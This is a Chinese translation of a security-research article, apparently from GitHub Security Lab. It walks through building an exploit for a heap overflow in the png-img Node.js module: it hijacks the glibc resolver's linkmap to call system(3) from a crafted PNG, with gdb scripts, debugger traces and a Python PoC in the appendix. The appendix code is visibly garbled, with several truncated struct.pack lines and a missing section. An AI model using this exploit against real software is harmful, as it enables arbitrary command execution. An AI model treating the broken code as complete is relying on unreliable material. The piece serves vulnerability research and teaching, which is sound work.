深入考察解释型语言背后隐藏的攻击面,Part 2(四)
2021-01-07 10:13:10 Author: www.4hou.com(查看原文) 阅读量:212 收藏

导语:在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C++的库“粘合”到解释语言的过程中,安全漏洞是如何产生的。

在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C++的库“粘合”到解释语言的过程中,安全漏洞是如何产生的。

深入考察解释型语言背后隐藏的攻击面,Part 2(一)

深入考察解释型语言背后隐藏的攻击面,Part 2(二)

深入考察解释型语言背后隐藏的攻击面,Part 2(三)

战略规划

我们知道,虽然已经可以完全控制linkmap,但我们仍无法控制通过硬编码PLT参数传递给解析器代码的reloc_arg参数,在我们的示例中,png_error的参数为0x11d(285)。这个值的作用,是用作png-img模块的重定位段(.rela.plt) 的索引。

anticomputer@dc1:~$ readelf -r ~/node_modules/png-img/build/Release/png_img.node
…
Relocation section '.rela.plt' at offset 0x9410 contains 378 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
…
000000263900  011000000007 R_X86_64_JUMP_SLO 000000000001cae0 png_error + 0
...

除此之外,我们也不知道被破坏的linkmap在内存中的位置。同时,由于堆的基地址是随机的,所以,我们唯一已知的数据都是拜测试平台上node二进制文件的非PIE特性所赐。因此,我们仍然无法在内存中的已知位置处伪造相应的段,以便与我们精心制作的linkmap一起使用。

尽管如此,我们现在已经到了有趣的部分:制定战略,考虑如何将我们的堆内存控制与我们对解析器和目标二进制的了解结合起来,重定向执行流程。

我们的既定目标是通过加载带有png-img的恶意PNG来执行任意命令。

针对任意命令执行的头脑风暴

我们回忆一下,png_ptr分块与linkmap分块是相邻的。并且,linkmap的第一个字段是l_addr字段,这个字段应该就是库的基地址,各种重定位和函数偏移都是以它为基础的。

我们可以覆盖堆数据,粒度为rowbytes,简单来说就是我们PNG图片的宽度。libpng接受的最小的rowbytes值与用于溢出的高度值结合起来就是3,也就是说,我们可以采取的最小的堆覆盖步骤是每行迭代3个字节。在little endian平台上,我们可以覆盖linkmap的l_addr字段中最低有效字节,以使png_error解析在其预期的函数起始地址之外,而不会破坏linkmap中的任何其他指针。然而,这使得我们无法在调用错误对齐的png_error时控制png_ptr参数,因为控制这些数据需要覆盖一个完整的linkmap。事实证明,在png_error附近没有足够多的有用指令来控制进程。由于ASLR的原因,我们无法对l_addr进行更激进的局部覆盖,因为我们很快就会碰到库基地址的熵区域,而且我们只有一次尝试机会。

所以,我们需要重新规划一下。

理想情况下,我们设计一个场景,其中我们可以为png_error重定位索引285提供任意重定位记录。这样的话,我们就能够完全控制(伪造的)符号表的索引。

我们可以将node的GOT段(其中包含许多已经解析好的libc指针)用作一个伪造的符号表,这样我们精心制作的重定位记录就能以获取一个现有libc地址作为符号的sym->st_value的方式来索引node GOT。然后,我们可以借助对l->l_addr的控制能力,从这个现有的libc地址进行偏移,并将执行重定向到我们希望的任何其他libc的.text段地址。

由于我们可以在解析png_error时控制加载到rdi寄存器中的png_ptr数据(即,根据Linux 64bit intel平台上使用的System V AMD64 ABI的第一个参数),我们可以设法解析为system(3),并从我们控制之下的png_ptr数据中提供一个任意的命令来执行。

由于最终修复的重定位偏移量也处于我们精心制作的重定位记录的控制之下,所以,我们可以简单地将l->l_addr值加到它上面,并将其指向某个安全的内存位置,以便在控制进程之前,在重定位修复中幸存下来。

这将是一个理想的方案。不过,当前面临的挑战是:在已知位置没有受控数据,也无法控制reloc_arg的情况下,我们如何提供任意的重定位记录?

曙光乍现

面对上面所说的挑战,一个重要的线索是,l_info[DT_JMPREL]是通过对指向.dynamic段的指针以解除引用的方式获得的。前面说过,解析器并不直接引用它需要访问的各个段,而是获取指向所需节的.dynamic条目的指针,然后查询其d_ptr字段以获得指向相关段的实际指针。

更直白地说,解析器将使用我们的受控指针来获取l_info[DT_JMPREL],并在该指针的偏移量8处,获取另一个指针值,这个指针值应该就是实际的段地址。

这对我们有什么帮助呢?

好吧,我们说过:我们可以把data_分块放到堆上的任意位置,但我们无法可靠地把它挤在linkmap和png_ptr分块之间。但是,如果我们把它放在linkmap分块前面的某个地方会怎样呢?这将导致覆盖大量的堆空间,从而控制这些堆空间中的内容。

在利用漏洞的时候,我们与堆的交互是非常有限的,因为没有很多的分配或释放操作发生。实际上,我们只是在一个循环中,简单地将我们控制的数据行写入堆中,直到用完行数据,这时,png_error的解析逻辑就启动了。

所以,至少在我们的PoC场景中,我们可以有效地覆盖相当一部分堆内存,直到达到我们需要控制的数量为止,这不会带来太多的稳定性问题。

我们还知道,我们处理的是一个非PIE二进制文件。所以,我们知道它的.data段的具体地址。在node的.data段中,会含有大量的结构体,这些结构体在运行时可能含有指向堆内存的指针。如果我们覆盖了堆中足够多的内存空间,其中一些指针就可能指向我们控制的数据,准确来说,这些指针将位于.data段的静态位置。

那么,如果我们重新调整其中一个.data位置的用途,将其用于我们的l_info[DT_JMPREL]的.dynamic条目指针,结果会如何呢?我们也许可以用它来为 _dl_fixup 提供一个完全受控的重定位记录。由于在我们的目标平台上,重定位记录的大小是24(3x8字节),而png_error reloc_arg的大小是285,只要我们可以将正确对齐的重定位记录放置在距获取堆指针的node .data的285x24偏移处,我们就应该能够破坏解析器的逻辑。

随后,我们可以使用类似的方法找到一个静态位置,在+8处包含一个指向node二进制代码GOT的指针,并将其用作l_info [DT_SYMTAB] .dynamic条目指针。在与制作好的重定位记录一致的情况下,我们可以索引到节点GOT中,从而获得一个现有的libc指针值,并使用我们制作好的linkmap的l_addr字段作为到一个所需的libc函数的增量,在我们的例子中,这个函数就是system(3)。

1.png

综合起来

现在,我们已经有了一个初步的漏洞利用策略,我们就必须收集所有的要素,来将我们的攻击计划付诸实施。

从漏洞利用的可靠性的角度来看,我们当前策略的缺点是它高度依赖二进制代码,并且对堆布局高度敏感。因此,我们认为这充其量只能算是一个PoC。因为它高度依赖于越来越少见的非PIE node的二进制代码,以及从data_ chunks到linkmap和png_ptr chunks的可预测堆偏移。

话虽如此,我们拿它在启用了各种防御功能的系统上来练练手,还是非常不错的。

为了把我们的策略付诸实施,我们需要:

1. 能把溢出分块放到linkmap分块的前面data_分块的合适大小。

2. data_ 分块和linkmap分块之间的偏移量。

3. 从node二进制代码GOT到偏移量的合适的libc指针。

4. 一个已知的node指针,指向一个指向node GOT基址的指针。

5. 一个已知的node指针,指向一个指向受控堆内存的指针。

6. 从源libc指针到目标libc函数指针的偏移量。

7. 一个用于接收最终的_dl_fixup重定位写入的安全的内存区域。 

首先,让我们找到一个合适的空闲块,以便在调用PngImg::PngImg构造函数时,可以将data_分块保存到这个空闲块中。我们可以使用gef的heap bins命令来显示哪些bins有可用的空闲分块,以及它们在内存中的位置。

我们要寻找的是一个与linkmap分块的位置离得较远的分块,这样我们就有很好的机会通过node的.data的堆指针从堆中提供可控的重定位记录。但是,我们也不想因为担心不稳定而破坏整个堆的内容。

我们可以在unsorted的bin中找到一个看似合适的大小为0x2010的空闲块:

─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────[+] unsorted_bins[0]: fw=0x271f0b0, bk=0x272c610
 →   Chunk(addr=0x271f0c0, size=0x2010, flags=PREV_INUSE)   →   Chunk(addr=0x2722ef0, size=0x1b30, flags=PREV_INUSE)   →   Chunk(addr=0x2717400, size=0x430, flags=PREV_INUSE)   →   Chunk(addr=0x272c620, size=0x4450, flags=PREV_INUSE)
[+] Found 4 chunks in unsorted bin.

通过将data_ size设置为0x2010,我们可以将这个空闲块塞进这个位于偏移量0x3950处的分块中,这个分块最终将成为我们的linkmap分块。当然,这个假设在任何现实情形下都是非常不稳定的,但在我们的练习中,不妨假设它是成立的。

同时,我们让rowbytes(宽度)取值为16,以便为堆溢出提供一个已经对齐的、细粒度的写入原语。

我们注意到,由于符号表项长24个字节,而St_value字段在Symbol结构体中的偏移量为8,所以,我们从node二进制GOT中选择的libc指针(用作St_value),必须位于距24字节对齐索引的偏移量8处。例如,一个指定Symtab索引为1的重定位记录,将意味着在node GOT的偏移量32处取值,并将其作为Symbol的st_value。

我们还注意到,伪造的符号条目的st_other字段决定了我们是否在_dl_fixup中根据符号的可见性来进入更复杂的符号查找路径。因为我们喜欢尽可能地保持简单,所以,对于在我们的st_value字段之前的GOT条目,应该设法不让它通过_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)的检查。这实际上只是意味着伪造的符号表条目中st_other字段(字节6)的低2位不应该是0。当然,这需要一定的运气,但大多数GOT段中都存在符合这一要求的指针。另外,可见性检查是使用以下宏完成的:

elf.h:
 
 
/* How to extract and insert information held in the st_other field.  */
#define ELF32_ST_VISIBILITY(o)  ((o) & 0x03)
 
 
/* For ELF64 the definitions are the same.  */
#define ELF64_ST_VISIBILITY(o)  ELF32_ST_VISIBILITY (o)
 
 
/* Symbol visibility specification encoded in the st_other field.  */
#define STV_DEFAULT     0               /* Default symbol visibility rules */
#define STV_INTERNAL    1               /* Processor specific hidden class */
#define STV_HIDDEN      2               /* Sym unavailable in other modules */
#define STV_PROTECTED   3               /* Not preemptible, not exported */

在我们的测试平台上,getockopt的node二进制GOT条目很符合我们的要求:它的前面有一个指针值,这个指针值会通过ST_VISIBILITY检查,这样我们就不必在linkmap中使用更复杂的解析器逻辑。所以,我们将使用getockopt来偏移到所需的系统libc目标。这两个libc偏移量之间的差值将是我们在linkmaps l_addr字段中设置的delta值。

接下来,让我们首先从node二进制代码中收集我们需要的所有地址信息。

# grab the libc offsets of getsockopt and system using readelf -s,
anticomputer@dc1:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so
...
  1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
     959: 0000000000122830    36 FUNC    WEAK   DEFAULT   13 getsockopt@@GLIBC_2.2.5
 
# determine the node binary GOT entry for getsockopt with readelf -r
anticomputer@dc1:~$ readelf -r /usr/bin/node | grep getsockopt
00000264d8f8  011800000007 R_X86_64_JUMP_SLO 0000000000000000 getsockopt@GLIBC_2.2.5 + 0
 
# grab the node GOT section start address with readelf -t
anticomputer@dc1:~$ readelf -t /usr/bin/node
There are 40 section headers, starting at offset 0x274f120:
 
Section Headers:
  [Nr] Name
       Type              Address          Offset            Link
       Size              EntSize          Info              Align
       Flags
…
  [26] .got
       PROGBITS               PROGBITS         000000000264d038  000000000204d038  0
       0000000000000fc8 0000000000000008  0                 8
       [0000000000000003]: WRITE, ALLOC

接下来,我们必须在node的.data段中寻找这样一个堆指针,它指向位于我们控制的偏移量285x24处的数据。通过一个小型的GDB脚本,我们就可以很快找到符合要求的候选者。我们的脚本将搜索node的.data段,以寻找位于我们控制的数据区域内或其附近的堆指针。

注意:在启用ASLR后,这些堆地址将在每次运行时发生变化,所以这个脚本示例只与我们的调试会话快照相关。然而,当实际运行漏洞利用代码时,考虑到面对的是非PIE型的node二进制代码,所以,我们可以预期得到一个一致的.data指针位置,并期望该位置将包含用于实际运行上下文的可用堆指针。

gef?  set $c=(unsigned long long *)0x264c000
gef?
gef?  set $done=1
gef?  while ($done)
 >if ((*$c&0xffffffffffff0000)==0x02720000)
  >set $done=0
  >end
 >set $c=$c+1
 >end
gef?  p/x $c
$551 = 0x26598c8
gef?  x/3gx (*($c-1))+285*24
0x2726508:      0x00007fff00000013      0x0000000000000000
0x2726518:      0x0000000000000021
gef?  set $done=1
gef?  while ($done)
 >if ((*$c&0xffffffffffff0000)==0x02720000)
  >set $done=0
  >end
 >set $c=$c+1
 >end
gef?  p/x $c
$552 = 0x265b9e8
gef?  x/3gx (*($c-1))+285*24
0x2722f10:      0x4141414141414141      0x4141414141414141
0x2722f20:      0x4141414141414141
gef?  x/x 0x265b9e0
0x265b9e0
gef?

所以我们找到了一个潜在可用的.data位置(0x265b9e0),该位置将包含一个位于偏移量285x24处的堆指针,该指针将指向受控数据。

最后,我们必须在node二进制代码中找到这样一个位置:它在+8处包含一个指向node的.got段的指针。这并非难事,因为node二进制代码肯定会引用各个二进制段。

objdump -h:
 25 .got          00000fc8  000000000264d038  000000000264d038  0204d038  2**3
 
 
(gdb) set $p=(unsigned long long *)0x400000 # search from node .text base upwards
(gdb) while (*$p!=0x000000000264d038)
 >set $p=$p+1
 >end
(gdb) x/x $p
0x244cf20:      0x000000000264d038
(gdb)

现在,我们已经收集好了所有的素材,这样就可以编写PoC代码了。总结一下,我们将构建一个伪造的linkmap,它符合以下约束条件:

1. l_addr字段将是libc的getockopt偏移量和libc的系统偏移量之间的增量。

2. l_info[DT_STRTAB]条目将是一些有效的指针值,因为我们的目的是跳过基于字符串的符号查找,它只需要能够安全地解除引用即可。

3. l_info[DT_SYMTAB]条目将是一个指向某个位置的指针,该位置在+8处有一个指向node的.got段起始地址的指针。

4. l_info[DT_JMPREL]条目将是指向某个位置的指针,该位置在+8处包含一个堆指针,该指针基于png_error解析的reloc_arg值指向偏移量285 x 24处的受控伪造重定位记录。

伪造的重定位记录将为伪造的符号表(node的二进制代码的.got段)提供一个索引,这样符号的st_value字段就是之前解析的指向getockopt的libc指针。它还将提供一个重定位偏移量(它是相对于safe-to-write内存区域的),这样我们的成果就可以在_dl_fixup中的最后一次重定位写入操作后幸存下来。

解析器将把我们在linkmap的l_addr字段中设置的libc增量与伪造的符号的st_value字段相加,其中st_value字段存放的是解析的getsockopt libc函数指针值。相加之后,得到的就是system(3)函数的libc地址。

由于我们还破坏了png_error的png_ptr参数,因此,当我们最终从为png_error劫持的_dl_resolve跳转到system(3)时,我们能够提供并执行任意命令。对于我们的PoC来说,我们将执行“touch /tmp/itworked”命令。

用我们的PoC脚本准备好触发漏洞的PNG文件后,就可以将其移动到我们的调试环境中了:

? ~ ? python3 x_trigger.py
? ~ ? file trigger.png
trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced
? ~ ?  scp trigger.png anticomputer@builder:~/
trigger.png                                                                                                                                                                                          100% 1024     1.7MB/s   00:00
? ~ ?

我们先在调试器里面运行易受攻击的node程序,并将断点设置在system(3)上:

gef?  r ~/pngimg.js
...
[#0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked #", 'P'
[#1] 0x7ffff4030e63 → png_read_row()
[#2] 0x7ffff4032899 → png_read_image()
[#3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)()
[#4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo
[#5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE()
[#6] 0xb9041b → v8::internal::MaybeHandle
[#7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle
[#8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle
[#9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked #", 'P'
56      {
gef?  p "success!"
$1 = "success!"
gef?

太棒了!看起来代码在调试阶段一切正常。现在,让我们在没有附加调试器的情况下运行一下。

anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked
anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js
Segmentation fault (core dumped)
anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked
-rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked
anticomputer@dc1:~/glibc/glibc-2.27/elf$

尽管node进程确实因为堆损坏而发生了崩溃,但是,这一切都发生在实现任意命令执行之后。

无论如何,我们的任务已经完成了。

我们的PoC开发任务现在已经大功告成:我们已经为利用png-img FFI漏洞成功打通了所有环节。虽然从攻击者的角度来看,可靠性仍然是现实利用过程中的一个令人担忧的问题,但这足以让我们证明该漏洞的潜在影响。

读者可以在附录A中找到完整的exploit代码。

小结

在本系列文章中,我们以Node.js FFI漏洞的利用过程为例,为读者深入介绍了隐藏在解释型语言底层攻击面。当然,我们的最终目标是为大家演示内存安全漏洞是如何通过基于FFI的攻击面潜入解释型语言应用程序的。同时,我们为读者介绍了exploit的开发之旅,并演示了攻击者是如何评估代码中的bug的潜在利用价值的。

附录A: png-img PoC exploit

# PoC exploit for GHSL-2020-142, linkmap hijack demo
 
 
"""
anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a
Linux dc1 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 
 
anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v
v10.22.0
 
 
anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img
/home/anticomputer
└── [email protected]
 
 
anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
"""
 
 
from PIL import Image
import os
import struct
import sys
import zlib
 
 
def patch(path, offset, data):
    f = open(path, 'r+b')
    f.seek(offset)
    f.write(data)
    f.close()
 
 
# libc binary info
libc_system_off = 0x000000000004f550
libc_getsockopt_off = 0x0000000000122830
libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff
 
 
# node binary info
node_getsockopt_got = 0x00000264d8f8
node_got_section_start = 0x000000000264d038
node_safe_ptr = 0x000000000264e000 + 0x1000
 
 
# calculate what our reloc index should be to align getsockopt as sym->st_value
node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1
if node_reloc_index_wanted % 3:
    print("[x] node .got entry not aligned to reloc record size ...")
    sys.exit(0)
node_reloc_index = int(node_reloc_index_wanted/3)
 
 
# our l_info['DT_SYMTAB'] entry is pointer that at +8 has a pointer to node's got section
dt_symtab_p = 0x244cf20-8
 
 
# our l_info['DT_JMPREL'] entry is a pointer that at +8 has a heap pointer to our fake reloc records
dt_jmprel_p = 0x265b9e0-8
 
 
# our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups
dt_symtab_p = dt_symtab_p
 
 
# build our heap overwrite
trigger = 'trigger.png'
heap_rewrite = b''
# pixel bits is 8, set rowbytes to 16 via width
width = 0x10
heap_data_to_linkmap_off = 0x3950-0x10 # offset from data_ chunk to linkmap chunk
heap_data_chunk_size = 0x2010 # needs to be aligned on width
heap_linkmap_chunk_size = 0x4e0
 
 
# spray fake reloc records up until linkmap chunk data
fake_reloc_record = b''
fake_reloc_record += struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) # r_offset
fake_reloc_record += struct.pack('<Q', (node_reloc_index<<32) | 7) # r_info, type: ELF_MACHINE_JMP_SLOT
fake_reloc_record += struct.pack('<Q', 0xdeadc0dedeadc0de) # r_addend
reloc_record_spray = b''
reloc_align = b''
reloc_record_spray += reloc_align
reloc_record_spray += fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24)
reloc_record_spray += b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray))
 
 
heap_rewrite += reloc_record_spray
 
 
# linkmap chunk overwrite
fake_linkmap = b''
# linkmap chunk header
fake_linkmap += struct.pack('<Q', 0x4141414141414141)
fake_linkmap += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE
# start of linkmap data
fake_linkmap += struct.pack('
fake_linkmap += struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 # pad
fake_linkmap += struct.pack('
fake_linkmap += struct.pack('
fake_linkmap += struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 # pad
fake_linkmap += struct.pack('
# pad up until png_ptr chunk
fake_linkmap += b'P' * (heap_linkmap_chunk_size-len(fake_linkmap))
 
 
heap_rewrite += fake_linkmap
 
 
# png_ptr chunk overwrite, this is where we pack our argument to system(3)
cmd = b'touch /tmp/itworked #'
png_ptr = b''
# png_ptr chunk header
png_ptr += struct.pack('L', crc))
 
 
# for playing with the early file allocation itself
f = open(trigger, 'ab')
f_size = os.path.getsize(trigger)
f_size_wanted = 1024
f.write(b'P'* (f_size_wanted - f_size))
f.close()

本文翻译自:https://securitylab.github.com/research/now-you-c-me-part-two如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/OLYL
如有侵权请联系:admin#unsafe.sh